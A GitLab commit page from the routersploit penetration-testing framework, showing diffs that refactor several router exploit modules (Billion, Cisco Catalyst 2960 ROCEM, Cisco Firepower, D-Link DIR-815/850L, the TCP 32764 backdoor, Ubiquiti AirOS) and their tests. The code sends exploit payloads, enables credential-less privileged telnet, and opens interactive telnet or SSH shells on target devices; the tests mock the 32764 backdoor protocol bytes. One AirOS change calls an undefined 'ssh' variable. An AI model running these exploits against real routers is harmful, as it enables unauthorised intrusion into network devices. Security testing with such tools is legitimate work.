Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
e6864eb0
Unverified
Commit
e6864eb0
authored
Sep 14, 2018
by
Marcin Bury
Committed by
GitHub
Sep 14, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing multiple modules (#513)
parent
9c0dbff8
Hide whitespace changes
Inline
Side-by-side
Showing
7 changed files
with
38 additions
and
28 deletions
+38
-28
billion_5200w_rce.py
...oit/modules/exploits/routers/billion/billion_5200w_rce.py
+4
-4
catalyst_2960_rocem.py
...oit/modules/exploits/routers/cisco/catalyst_2960_rocem.py
+12
-12
firepower_management60_rce.py
...ules/exploits/routers/cisco/firepower_management60_rce.py
+5
-4
dir_815_850l_rce.py
...sploit/modules/exploits/routers/dlink/dir_815_850l_rce.py
+2
-2
tcp_32764_rce.py
routersploit/modules/exploits/routers/multi/tcp_32764_rce.py
+2
-2
airos_6_x.py
routersploit/modules/exploits/routers/ubiquiti/airos_6_x.py
+3
-2
test_tcp_32764_rce.py
tests/exploits/routers/multi/test_tcp_32764_rce.py
+10
-2
No files found.
routersploit/modules/exploits/routers/billion/billion_5200w_rce.py
View file @
e6864eb0
...
@@ -44,10 +44,10 @@ class Exploit(HTTPClient, TelnetClient):
...
@@ -44,10 +44,10 @@ class Exploit(HTTPClient, TelnetClient):
if
self
.
execute1
(
cmd
)
or
self
.
execute2
(
cmd
):
if
self
.
execute1
(
cmd
)
or
self
.
execute2
(
cmd
):
print_status
(
"Trying to connect to the telnet server..."
)
print_status
(
"Trying to connect to the telnet server..."
)
telnet_client
=
self
.
telnet_c
onnect
(
port
=
self
.
telnet_port
)
telnet_client
=
self
.
telnet_c
reate
(
port
=
self
.
telnet_port
)
if
telnet_client
:
if
telnet_client
.
connect
()
:
self
.
telnet_interactive
(
telnet_client
)
telnet_client
.
interactive
(
)
self
.
telnet_close
(
telnet_client
)
telnet_client
.
close
(
)
else
:
else
:
print_error
(
"Exploit failed - Telnet connection error: {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
print_error
(
"Exploit failed - Telnet connection error: {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
else
:
else
:
...
...
routersploit/modules/exploits/routers/cisco/catalyst_2960_rocem.py
View file @
e6864eb0
...
@@ -161,7 +161,7 @@ class Exploit(TCPClient, TelnetClient):
...
@@ -161,7 +161,7 @@ class Exploit(TCPClient, TelnetClient):
]
]
def
run
(
self
):
def
run
(
self
):
if
self
.
device
<
0
or
self
.
device
>=
len
(
self
.
payloads
):
if
int
(
self
.
device
)
<
0
or
int
(
self
.
device
)
>=
len
(
self
.
payloads
):
print_error
(
"Set target device - use
\"
show devices
\"
and
\"
set device <id>
\"
"
)
print_error
(
"Set target device - use
\"
show devices
\"
and
\"
set device <id>
\"
"
)
return
return
...
@@ -169,11 +169,11 @@ class Exploit(TCPClient, TelnetClient):
...
@@ -169,11 +169,11 @@ class Exploit(TCPClient, TelnetClient):
print_error
(
"Specify action: set / unset credless authentication for Telnet service"
)
print_error
(
"Specify action: set / unset credless authentication for Telnet service"
)
return
return
print_status
(
"Trying to connect to Telnet service on port {}"
.
format
(
self
.
telnet_
port
))
print_status
(
"Trying to connect to Telnet service on port {}"
.
format
(
self
.
port
))
tcp_client
=
self
.
tcp_c
onnect
()
tcp_client
=
self
.
tcp_c
reate
()
if
tcp_client
:
if
tcp_client
.
connect
()
:
response
=
self
.
tcp_recv
(
tcp_client
,
1024
)
response
=
tcp_client
.
recv
(
1024
)
print_status
(
"Connection OK"
)
print_status
(
"Connection OK"
)
print_status
(
"Received bytes from telnet service: {}"
.
format
(
repr
(
response
)))
print_status
(
"Received bytes from telnet service: {}"
.
format
(
repr
(
response
)))
else
:
else
:
...
@@ -183,22 +183,22 @@ class Exploit(TCPClient, TelnetClient):
...
@@ -183,22 +183,22 @@ class Exploit(TCPClient, TelnetClient):
print_status
(
"Building payload..."
)
print_status
(
"Building payload..."
)
payload
=
self
.
build_payload
()
payload
=
self
.
build_payload
()
if
self
.
action
==
'set'
:
if
self
.
action
==
"set"
:
print_status
(
"Setting credless privilege 15 authentication"
)
print_status
(
"Setting credless privilege 15 authentication"
)
else
:
else
:
print_status
(
"Unsetting credless privilege 15 authentication"
)
print_status
(
"Unsetting credless privilege 15 authentication"
)
print_status
(
"Sending cluster option"
)
print_status
(
"Sending cluster option"
)
self
.
tcp_send
(
tcp_client
,
payload
)
tcp_client
.
send
(
payload
)
self
.
tcp_close
(
tcp_client
)
tcp_client
.
close
(
)
print_status
(
"Payload sent"
)
print_status
(
"Payload sent"
)
if
self
.
action
==
'set'
:
if
self
.
action
==
"set"
:
print_status
(
"Connecting to Telnet service..."
)
print_status
(
"Connecting to Telnet service..."
)
telnet_client
=
self
.
telnet_c
onnect
()
telnet_client
=
self
.
telnet_c
reate
()
if
telnet_client
:
if
telnet_client
.
connect
()
:
self
.
telnet_interactive
(
telnet_client
)
telnet_client
.
interactive
(
)
else
:
else
:
print_error
(
"Exploit failed"
)
print_error
(
"Exploit failed"
)
else
:
else
:
...
...
routersploit/modules/exploits/routers/cisco/firepower_management60_rce.py
View file @
e6864eb0
...
@@ -66,7 +66,8 @@ class Exploit(HTTPClient, SSHClient):
...
@@ -66,7 +66,8 @@ class Exploit(HTTPClient, SSHClient):
)
)
if
response
is
not
None
and
response
.
status_code
==
200
:
if
response
is
not
None
and
response
.
status_code
==
200
:
if
self
.
ssh_test_connect
(
port
=
self
.
ssh_port
):
ssh_client
=
self
.
ssh_create
(
port
=
self
.
ssh_port
)
if
ssh_client
.
test_connect
():
return
True
# target is vulnerable
return
True
# target is vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
...
@@ -144,7 +145,7 @@ class Exploit(HTTPClient, SSHClient):
...
@@ -144,7 +145,7 @@ class Exploit(HTTPClient, SSHClient):
def
init_ssh_session
(
self
,
username
,
password
):
def
init_ssh_session
(
self
,
username
,
password
):
print_status
(
"Trying to authenticate through SSH with username: {} password:{} account"
.
format
(
username
,
password
))
print_status
(
"Trying to authenticate through SSH with username: {} password:{} account"
.
format
(
username
,
password
))
ssh_client
=
self
.
ssh_
login
(
username
,
password
)
ssh_client
=
self
.
ssh_
create
(
)
if
ssh_client
:
if
ssh_client
.
login
(
username
,
password
)
:
print_success
(
"SSH - Successful authentication"
)
print_success
(
"SSH - Successful authentication"
)
ssh_
interactive
(
ssh_client
)
ssh_
client
.
interactive
(
)
routersploit/modules/exploits/routers/dlink/dir_815_850l_rce.py
View file @
e6864eb0
...
@@ -41,8 +41,8 @@ class Exploit(UDPClient):
...
@@ -41,8 +41,8 @@ class Exploit(UDPClient):
request
=
bytes
(
request
,
"utf-8"
)
request
=
bytes
(
request
,
"utf-8"
)
udp_client
=
self
.
udp_create
()
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
request
)
udp_client
.
send
(
request
)
self
.
udp_close
(
udp_client
)
udp_client
.
close
(
)
return
""
return
""
...
...
routersploit/modules/exploits/routers/multi/tcp_32764_rce.py
View file @
e6864eb0
...
@@ -67,13 +67,13 @@ class Exploit(TCPClient):
...
@@ -67,13 +67,13 @@ class Exploit(TCPClient):
tcp_client
=
self
.
tcp_create
()
tcp_client
=
self
.
tcp_create
()
if
tcp_client
.
connect
():
if
tcp_client
.
connect
():
tcp_client
.
tcp_
send
(
payload
)
tcp_client
.
send
(
payload
)
response
=
tcp_client
.
recv
(
0xC
)
response
=
tcp_client
.
recv
(
0xC
)
sig
,
ret_val
,
ret_len
=
struct
.
unpack
(
self
.
endianness
+
"III"
,
response
)
sig
,
ret_val
,
ret_len
=
struct
.
unpack
(
self
.
endianness
+
"III"
,
response
)
response
=
tcp_client
.
recv
(
ret_len
)
response
=
tcp_client
.
recv
(
ret_len
)
tcp_client
.
tcp_
close
()
tcp_client
.
close
()
if
response
:
if
response
:
return
str
(
response
,
"utf-8"
)
return
str
(
response
,
"utf-8"
)
...
...
routersploit/modules/exploits/routers/ubiquiti/airos_6_x.py
View file @
e6864eb0
...
@@ -59,8 +59,9 @@ class Exploit(HTTPClient, SSHClient):
...
@@ -59,8 +59,9 @@ class Exploit(HTTPClient, SSHClient):
print_success
(
"Appareantly the exploit worked fine"
)
print_success
(
"Appareantly the exploit worked fine"
)
print_success
(
"Trying to invoke a interactive SSH Shell"
)
print_success
(
"Trying to invoke a interactive SSH Shell"
)
ssh_client
=
self
.
ssh_login_pkey
(
"ubnt"
,
private_key
.
getvalue
())
ssh_client
=
self
.
ssh_create
()
self
.
ssh_interactive
(
ssh_client
)
if
ssh_client
.
login_pkey
(
"ubnt"
,
private_key
.
getvalue
()):
ssh
.
interactive
()
else
:
else
:
print_error
(
"Exploit failed - target is not vulnerable"
)
print_error
(
"Exploit failed - target is not vulnerable"
)
...
...
tests/exploits/routers/multi/test_tcp_32764_rce.py
View file @
e6864eb0
...
@@ -6,8 +6,11 @@ from routersploit.modules.exploits.routers.multi.tcp_32764_rce import Exploit
...
@@ -6,8 +6,11 @@ from routersploit.modules.exploits.routers.multi.tcp_32764_rce import Exploit
def
test_check_success1
(
mocked_shell
,
tcp_target
):
def
test_check_success1
(
mocked_shell
,
tcp_target
):
""" Test scenario - successful check Big Endian"""
""" Test scenario - successful check Big Endian"""
command_mock
=
tcp_target
.
get_command_mock
(
b
"ABCDE"
)
command_mock1
=
tcp_target
.
get_command_mock
(
b
"ABCDE"
)
command_mock
.
return_value
=
b
"MMcS"
command_mock1
.
return_value
=
b
"MMcS"
command_mock2
=
tcp_target
.
get_command_mock
(
b
"ScMM
\x00\x00\x00\x07\x00\x00\x00
.echo e6055cd8c31bf64cfbed8e3247bd11d5c1277c13
\x00
"
)
command_mock2
.
return_value
=
b
"
\x41\x41\x41\x41
"
+
b
"
\x29\x00\x00\x00
"
+
b
"
\x42\x42\x42\x42
"
+
b
"e6055cd8c31bf64cfbed8e3247bd11d5c1277c13
\x00
"
exploit
=
Exploit
()
exploit
=
Exploit
()
exploit
.
target
=
tcp_target
.
host
exploit
.
target
=
tcp_target
.
host
...
@@ -15,6 +18,7 @@ def test_check_success1(mocked_shell, tcp_target):
...
@@ -15,6 +18,7 @@ def test_check_success1(mocked_shell, tcp_target):
assert
exploit
.
check
()
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
assert
exploit
.
run
()
is
None
assert
exploit
.
execute
(
"echo e6055cd8c31bf64cfbed8e3247bd11d5c1277c13"
)
==
"e6055cd8c31bf64cfbed8e3247bd11d5c1277c13
\x00
"
@mock.patch
(
"routersploit.modules.exploits.routers.multi.tcp_32764_rce.shell"
)
@mock.patch
(
"routersploit.modules.exploits.routers.multi.tcp_32764_rce.shell"
)
...
@@ -24,9 +28,13 @@ def test_check_success2(mocked_shell, tcp_target):
...
@@ -24,9 +28,13 @@ def test_check_success2(mocked_shell, tcp_target):
command_mock
=
tcp_target
.
get_command_mock
(
b
"ABCDE"
)
command_mock
=
tcp_target
.
get_command_mock
(
b
"ABCDE"
)
command_mock
.
return_value
=
b
"ScMM"
command_mock
.
return_value
=
b
"ScMM"
command_mock2
=
tcp_target
.
get_command_mock
(
b
"MMcS
\x07\x00\x00\x00
.
\x00\x00\x00
echo e6055cd8c31bf64cfbed8e3247bd11d5c1277c13
\x00
"
)
command_mock2
.
return_value
=
b
"
\x41\x41\x41\x41
"
+
b
"
\x00\x00\x00\x29
"
+
b
"
\x42\x42\x42\x42
"
+
b
"e6055cd8c31bf64cfbed8e3247bd11d5c1277c13
\x00
"
exploit
=
Exploit
()
exploit
=
Exploit
()
exploit
.
target
=
tcp_target
.
host
exploit
.
target
=
tcp_target
.
host
exploit
.
port
=
tcp_target
.
port
exploit
.
port
=
tcp_target
.
port
assert
exploit
.
check
()
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
assert
exploit
.
run
()
is
None
assert
exploit
.
execute
(
"echo e6055cd8c31bf64cfbed8e3247bd11d5c1277c13"
)
==
"e6055cd8c31bf64cfbed8e3247bd11d5c1277c13
\x00
"
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment